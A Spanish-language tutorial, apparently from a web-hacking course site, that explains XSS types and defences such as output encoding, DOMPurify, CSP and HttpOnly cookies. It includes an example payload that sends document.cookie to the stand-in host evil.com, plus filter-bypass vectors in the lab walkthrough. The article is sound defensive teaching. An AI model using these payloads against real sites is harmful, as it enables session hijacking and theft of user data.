Qué es XSS (Cross-Site Scripting): tipos, ejemplos y cómo prevenirlo
Cross-Site Scripting (XSS) es una vulnerabilidad web que permite a un atacante inyectar código JavaScript malicioso en páginas vistas por otros usuarios, ejecutándose en el navegador de la víctima con los permisos del sitio legítimo. Es una de las vulnerabilidades más extendidas en la web: aparece en el OWASP Top 10 de forma ininterrumpida desde 2003 y está catalogada como CWE-79: Improper Neutralization of Input During Web Page Generation.
Qué es XSS y por qué ocurre
Un ataque XSS explota la confianza que un usuario deposita en un sitio web. Cuando una aplicación incluye datos suministrados por el usuario en su respuesta HTML sin sanitizarlos ni codificarlos correctamente, el navegador de la víctima no puede distinguir ese contenido del código legítimo del sitio: lo ejecuta tal cual.
Las causas de fondo son siempre las mismas:
- Ausencia de validación de entrada: la aplicación acepta cualquier valor sin comprobar si contiene etiquetas HTML o JavaScript.
- Ausencia de codificación de salida: los datos se vuelcan directamente en el HTML de respuesta sin escapar caracteres especiales (
<,>,",',&). - Confianza ciega en el origen: creer que los datos del cliente son seguros porque «vienen del propio sitio» o de una cookie.
Como resultado, el atacante consigue ejecutar código JavaScript en el origen de la víctima: puede leer cookies de sesión, redirigir al usuario, registrar pulsaciones de teclado o modificar el DOM para mostrar formularios falsos.
Cómo funciona un ataque XSS: anatomía paso a paso
El escenario más sencillo es un buscador que refleja el término introducido por el usuario directamente en la página de resultados:
<!-- URL vulnerable: https://ejemplo.com/buscar?q=ofertas -->
<!-- La aplicación genera este HTML sin escapar el parámetro "q": -->
<p>Resultados para: ofertas</p>
<!-- Un atacante envía esta URL a la víctima: -->
<!-- https://ejemplo.com/buscar?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->
<!-- El servidor responde con: -->
<p>Resultados para: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>
<!-- El navegador ejecuta el script y envía las cookies de sesión al atacante -->
Aquí el atacante no necesita acceso al servidor: basta con engañar a la víctima para que haga clic en un enlace manipulado. El script se ejecuta en el contexto de ejemplo.com, así que tiene acceso a cookies, almacenamiento local y DOM de ese dominio.
«XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript.»
— OWASP: Cross Site Scripting (XSS)
Tipos de XSS
XSS Reflejado (Reflected XSS)
El payload malicioso viaja en la petición HTTP (normalmente en un parámetro GET o POST) y el servidor lo devuelve de inmediato en la respuesta, sin almacenarlo. Para que el ataque funcione, la víctima tiene que hacer clic en un enlace manipulado. Es el tipo más común y el más fácil de detectar con herramientas automáticas.
XSS Almacenado o Persistente (Stored XSS)
El payload se guarda en la base de datos del servidor (campo de comentario, nombre de perfil, título de producto…) y se sirve a todos los usuarios que carguen esa página. Es el tipo más peligroso porque no necesita interacción adicional de la víctima y puede afectar a miles de usuarios a la vez.
XSS Basado en DOM (DOM-Based XSS)
El payload nunca llega al servidor: la vulnerabilidad reside íntegramente en el código JavaScript del lado cliente, que lee datos de fuentes controlables (location.hash, document.referrer, postMessage…) y los escribe en el DOM mediante métodos peligrosos como innerHTML o document.write. Los escáneres que solo analizan respuestas HTTP pueden pasarlo por alto.
| Tipo | Dónde se inyecta el payload | ¿Se almacena? | Impacto potencial |
|---|---|---|---|
| Reflejado | Parámetro URL / cuerpo de petición HTTP | No | Medio: requiere que la víctima abra un enlace |
| Almacenado | Base de datos / sistema de ficheros del servidor | Sí | Alto: afecta a todos los visitantes de la página |
| DOM-Based | JavaScript del cliente (fuentes DOM controlables) | No (client-side) | Medio-Alto: difícil de detectar; elude WAFs básicos |
Ejemplo práctico en laboratorio (PortSwigger Web Security Academy)
Aviso legal: los siguientes pasos se realizan exclusivamente en el laboratorio oficial de PortSwigger Academy, un entorno legal y aislado pensado para la práctica de hacking ético. Reproducir estas técnicas en sistemas ajenos sin autorización expresa es ilegal en España (art. 197 bis del Código Penal) y en la mayoría de jurisdicciones.
PortSwigger Web Security Academy ofrece laboratorios XSS gratuitos en portswigger.net/web-security/cross-site-scripting. También puedes practicar con DVWA (Damn Vulnerable Web Application) en local o con OWASP Juice Shop (Docker disponible). Para una práctica guiada con herramientas profesionales, consulta nuestra guía completa de Burp Suite.
Laboratorio: Reflected XSS en contexto HTML (PortSwigger Academy)
- Accede al laboratorio «Reflected XSS into HTML context with nothing encoded» desde tu cuenta gratuita en PortSwigger Academy.
- En el campo de búsqueda de la tienda, introduce el payload más sencillo posible:
<script>alert(1)</script> - El buscador refleja tu entrada sin codificar. El navegador ejecuta el script y muestra el cuadro de alerta.
- En Burp Suite, activa el Proxy y repite la petición desde Repeater para analizar la respuesta HTTP cruda y confirmar que
<script>llega intacto al HTML. - Explora variantes de payload que sortean filtros básicos:
<img src=x onerror="alert(document.domain)"> <svg onload="alert(1)"> <details open ontoggle="alert(1)">
Para el XSS almacenado, el mismo portal tiene el laboratorio «Stored XSS into HTML context with nothing encoded», donde el payload se introduce en el campo de comentarios y se ejecuta cada vez que cualquier usuario visita la entrada del blog. Puedes complementar este aprendizaje práctico en nuestro Curso de Hacking Web y en la guía de hacking web.
Cómo prevenir XSS: defensas reales en capas
No hay una única bala de plata; la defensa efectiva combina varias capas:
1. Codificación de salida según contexto (Output Encoding)
Es la defensa principal. La regla es simple: en el lugar donde los datos se insertan en la página, hay que codificarlos para ese contexto. Los contextos son distintos y cada uno requiere su propio tipo de codificación:
- Contexto HTML: escapar
<→<,>→>,&→&,"→",'→'. - Contexto de atributo HTML: entrecomillar siempre el atributo y codificar todos los caracteres no alfanuméricos como entidades HTML.
- Contexto JavaScript: usar codificación Unicode (
uXXXX). Nunca concatenar datos de usuario directamente en bloques<script>. - Contexto URL: aplicar
encodeURIComponent()antes de insertar valores en URLs.
2. Frameworks modernos que escapan por defecto
React, Angular y Vue escapan automáticamente las variables que se insertan en las plantillas. El peligro aparece cuando se usan las vías de escape deliberado: dangerouslySetInnerHTML en React, [innerHTML] en Angular o v-html en Vue. Úsalos solo si es imprescindible y con contenido ya sanitizado.
3. Sanitización con DOMPurify
Cuando necesitas renderizar HTML generado por el usuario (editores de texto enriquecido, comentarios con formato…), no lo insertes directamente. Usa una librería de sanitización contrastada como DOMPurify (client-side) o su equivalente del lado servidor (ej. sanitize-html en Node, bleach en Python):
// ❌ Peligroso
element.innerHTML = userContent;
// ✅ Seguro con DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);
4. Content Security Policy (CSP)
La cabecera HTTP Content-Security-Policy permite al servidor indicar al navegador qué orígenes de script son de confianza. Una política estricta basada en nonces elimina casi toda la superficie de ataque para XSS:
Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Con esta política, cualquier <script> inyectado sin el nonce correcto queda bloqueado por el navegador aunque haya pasado la validación del servidor. CSP no sustituye a la codificación de salida, pero actúa como capa de defensa adicional.
5. Cookies con flags HttpOnly y Secure
Aunque el payload se ejecute, si las cookies de sesión tienen el flag HttpOnly, JavaScript no puede leerlas con document.cookie. Añade siempre ambos flags en las cookies sensibles:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
6. Validación de entrada en el servidor
Valida el tipo, longitud y formato esperado de cada dato. Rechaza o elimina etiquetas HTML donde el campo no las necesite (ej. un campo de nombre de usuario nunca debería contener <script>). La validación de entrada complementa a la codificación de salida, no la sustituye.
Para auditar tu aplicación antes de producción, herramientas como OWASP ZAP automatizan la detección de puntos XSS. En programas de bug bounty, un XSS almacenado con impacto sobre cuentas de alto privilegio puede valer entre 1.000 y 10.000 USD dependiendo del programa.
Errores comunes al intentar prevenir XSS
- Filtrar solo en el cliente (JavaScript): los filtros client-side se saltan fácilmente con Burp Suite o modificando la petición directamente. La validación debe hacerse siempre en el servidor.
- Sustituir solo <script>: muchos desarrolladores filtran la etiqueta
<script>pero olvidan que XSS puede ejecutarse con<img onerror=...>,<svg onload=...>,<a href="javascript:...">y docenas de vectores más. - Usar listas negras en lugar de listas blancas: es imposible enumerar todos los vectores XSS existentes. El enfoque correcto es codificar la salida (siempre seguro) en vez de intentar bloquear lo malo (siempre incompleto).
- Configurar mal la CSP: una política con
unsafe-inlineounsafe-evales prácticamente inútil. Cualquier evaluación de la efectividad debe hacerse en CSP Evaluator. - Olvidar el contexto: codificar para HTML un valor que va dentro de un atributo
hrefo de un bloque JavaScript no basta. El contexto de inserción determina la codificación necesaria. - No renovar tokens de sesión: aunque las cookies sean HttpOnly, XSS puede realizar peticiones autenticadas en nombre de la víctima (CSRF interno). Combina HttpOnly con tokens CSRF y rotación de sesión.
Vídeo recomendado
Para reforzar estos conceptos con una demostración visual, aquí tienes un vídeo verificado:
📚 ¿Quieres practicarlo en un laboratorio legal, paso a paso? Lo trabajamos en el Módulo 5: Cross-Site Scripting (XSS) de nuestro Curso de Hacking Web.
Preguntas frecuentes sobre XSS
¿XSS puede robar contraseñas aunque no use HTTP?
Sí. XSS se ejecuta en el navegador de la víctima al margen del protocolo de transporte. Un payload puede capturar las pulsaciones del teclado mediante un keylogger JavaScript o leer el valor de un campo de contraseña del DOM antes de que se envíe el formulario, incluso en sitios HTTPS. HTTPS protege los datos en tránsito, no el código que se ejecuta en la página.
¿Cuál es la diferencia entre XSS y CSRF?
En CSRF (Cross-Site Request Forgery) el ataque se origina desde otro dominio y engaña al navegador de la víctima para que envíe peticiones autenticadas. En XSS el código malicioso se ejecuta dentro del propio dominio objetivo, lo que le da acceso completo al DOM, cookies sin HttpOnly y estado de la sesión. XSS suele ser más peligroso porque no necesita «engañar» al navegador sobre el origen.
¿Un WAF (Web Application Firewall) protege contra XSS?
En parte. Los WAF pueden bloquear firmas conocidas de payloads XSS, pero los atacantes disponen de técnicas de ofuscación y codificación que eluden filtros basados en reglas. Un WAF es una capa de defensa adicional, nunca un sustituto de la codificación de salida correcta en el código de la aplicación.
¿Por qué XSS sigue siendo tan frecuente si lleva décadas siendo conocido?
Porque la superficie de ataque crece todo el tiempo: más frameworks, más integraciones de terceros, más APIs que generan HTML dinámico. Los desarrolladores a menudo mezclan contextos de datos sin darse cuenta, y una sola línea de código mal escrita en un componente compartido puede introducir una vulnerabilidad en todo el sitio. La formación continua y las herramientas de análisis estático en el pipeline CI/CD son la respuesta más efectiva.
¿Qué entornos puedo usar legalmente para practicar XSS?
Los más recomendados son: PortSwigger Web Security Academy (gratuita, más de 30 laboratorios XSS de dificultad progresiva), DVWA (Damn Vulnerable Web Application, instalable en local con Docker), OWASP Juice Shop (Docker, gamificado) y HackTheBox o TryHackMe para retos más avanzados. Consulta nuestra lista de mejores plataformas para practicar hacking para más opciones.
